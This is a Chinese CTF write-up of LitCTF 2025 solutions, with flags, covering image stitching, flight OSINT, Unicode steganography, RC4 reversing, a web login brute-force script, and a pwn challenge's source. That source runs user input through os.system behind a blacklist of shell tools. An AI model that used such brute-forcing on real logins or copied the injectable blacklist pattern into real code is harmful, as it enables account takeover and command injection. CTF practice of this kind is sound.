LitCTF 2025

Aristore2025-05-262025-05-26

Misc

Cropping

Challenge

无

Solution

伪加密修复后解压两次得到图片碎片，用脚本拼起来得到二维码，扫描即可得到 flag

from PIL import Image
import os

# 设置路径
folder = 'tiles'

# 获取所有 tile_x_y.png 文件
tiles = [f for f in os.listdir(folder) if f.startswith("tile_") and f.endswith(".png")]

# 排序确保正确顺序：tile_row_col.png
# 我们可以根据文件名中的 row 和 col 数字排序
def tile_key(fname):
    parts = fname.replace("tile_", "").replace(".png", "").split("_")
    return int(parts[0]), int(parts[1])

tiles.sort(key=tile_key)

# 打开第一张图片获取宽高
first_tile = Image.open(os.path.join(folder, tiles[0]))
tile_width, tile_height = first_tile.size

# 假设是 10x10 网格布局
rows = 10
cols = 10

# 创建空白大图像
final_image = Image.new('RGBA', (cols * tile_width, rows * tile_height))

# 逐个加载并粘贴图片
for idx, tile_file in enumerate(tiles):
    img = Image.open(os.path.join(folder, tile_file))
    row = idx // cols
    col = idx % cols
    final_image.paste(img, (col * tile_width, row * tile_height))

# 保存最终图像
output_path = 'final_map.png'
final_image.save(output_path)

print(f"拼接完成，已保存为: {output_path}")

LitCTF2025-1

1	LitCTF{e7c3f4b2-9a6f-4d3f-9f98-0b3db91c2a12}

灵感菇🍄哩菇哩菇哩哇擦灵感菇灵感菇🍄

Challenge

哇擦灵感菇

Solution

真有人拿这个出题啊？

LitCTF2025-2

ProbiusOfficial/Lingicrypt: 一个为玩梗而粗制滥造的编码 *

LitCTF2025-3

1	NSSCTF{41d0c8df-62e5-4866-8de8-120c6a50c14a}

像素中的航班

Challenge

小李要去参见长城杯了，他乘坐的哪趟航班？flag 格式：LitCTF

LitCTF2025-4

Solution

搜索长城杯发现第二届 “长城杯” 信息安全铁人三项赛（防护赛）总决赛将于 2025 年 4 月 28 日在福建省福州市举办，因此推断到达机场为长乐机场 (FOC)，且到达时间为 2025 年 4 月 28 日或前一两天。

LitCTF2025-5

放大看机翼上的文字能看出来是南方航空，因此可以确定航班号以 CZ 开头

接下来搜索南航最常飞的城市 China Southern Airlines 航空公司信息，看到郑州基本上就确定是出发机场是 ** 郑州新郑国际机场 (CGO)** 了，因为比赛主办方在郑州

LitCTF2025-6

然后就搜索 CGO->FOC，且航班号以 CZ 开头的就行 [All Flights From Zhengzhou (CGO) to Fuzhou (FOC): DEPARTURES/ARRIVALS/STATISTICS](https://www.flightera.net/route/ZHCC/ZSFZ/2025-04-28 13_55)

LitCTF2025-7

不难发现航班号只有 CZ8289 和 CZ6917 这两种，分别试一遍就出来了

1	LitCTF{CZ8289}

消失的文字

Challenge

Solution

此题为赛后复现

USB 流量一把梭，经过旋转反转得到下图

LitCTF2025-11

比赛时我看漏了横杠，误以为是 868F83BDFF

感谢 F1eed0m 师傅的提醒，应该加上两个横杠 868F-83BD-FF，这用于解开压缩包

压缩包内的 hidden-word.txt 如下

Litctf~󠄼 Litct󠅙f! Litctf? This󠅤 is a co󠄳ntest of technology an󠅄d w󠄶isdom, focusing󠅫 on cyber󠄣secu󠄩rity, program󠄥m󠄥ing ski󠄣l󠄣ls, 󠄡an󠄧d pu󠄝zzle-sol󠅔ving abil󠅖it󠄣ie󠄠s. In this c󠄝ompetition named Litctf󠄤, partic󠄩ipa󠄥nts󠄡 will face 󠄝a series of󠄨 c󠅑omplex p󠅑roblems and󠅔 t󠄝asks t󠅖hat󠅓 r󠅑equire󠅖 t󠄣he appl󠄠ication of their k󠄢no󠄨wl󠅓edge and crea󠅑tiv󠄩ity 󠅔t󠅭o solve.

这里用到这个项目 Ackites/hidden-word 进行解密，在线解密 Hidden Word

LitCTF2025-12

1	LitCTF{39553317-df30-4951-8aad-fcaf3028ca9d}

Web

nest_js

Challenge

/dashboard

Solution

弱口令爆破

import requests

url = "http://node12.anna.nssctf.cn:23792/api/login"
username = "admin"
rememberMe = False
password_file = "pass.txt"

with open(password_file, "r", encoding="utf-8") as f:
    for line in f:
        password = line.strip()

        data = {
            "username": username,
            "password": password,
            "rememberMe": rememberMe
        }

        try:
            print(f"[+] 尝试密码: {password}")
            response = requests.post(url, json=data, timeout=5)

            if response.status_code == 200:
                print(f"[!] 登录成功！密码是：{password}")
                print(response.text)
                break
            else:
                print(f"[-] 登录失败，状态码: {response.status_code}")
                print(response.text)
        except Exception as e:
            print(f"[ERROR] 请求异常: {e}")

账号 admin，密码 password

1	LitCTF{b11dd2bc-935b-47d7-ada1-dd12a3140c4a}

Reverse

easy_rc4

Challenge

flag 格式：LitCTF {}

Solution

在主函数找到密钥和密文

LitCTF2025-8

查看 rc4_crypt 函数发现是魔改 rc4，异或了 0x20

LitCTF2025-9

def rc4(key, data):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + ord(key[i % len(key)])) % 256
        S[i], S[j] = S[j], S[i]

    i = j = 0
    result = []
    for k in range(len(data)):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        t = (S[i] + S[j]) % 256
        keystream = S[t]
        decrypted = keystream ^ data[k] ^ 0x20  # 这里有个异或 0x20
        result.append(decrypted)
    return bytes(result)

# RC4 密钥
key = "FenKey!!"

# RC4 密文（来自 s2）
s2_data = bytes.fromhex(
    '78cc4e1331f47349'
    '4f6c4f73c0f4357e'
    'ce27764d19607aea'
    '445dc04281da1cf6'
    '647258d994faf813'
)

flag = rc4(key, s2_data)
print(flag.decode('utf-8', errors='replace'))

1	LitCTF{71bb2a06417a5306ba297ddcfce7b1b0}

Pwn

test_your_nc

Challenge

签到

#!/bin/python3
import os

print("input your command")

blacklist = ['cat','ls',' ','cd','echo','<','${IFS}','sh','\\']

while True:
    command = input()
    for i in blacklist:
        if i in command:
            exit(0)
    os.system(command)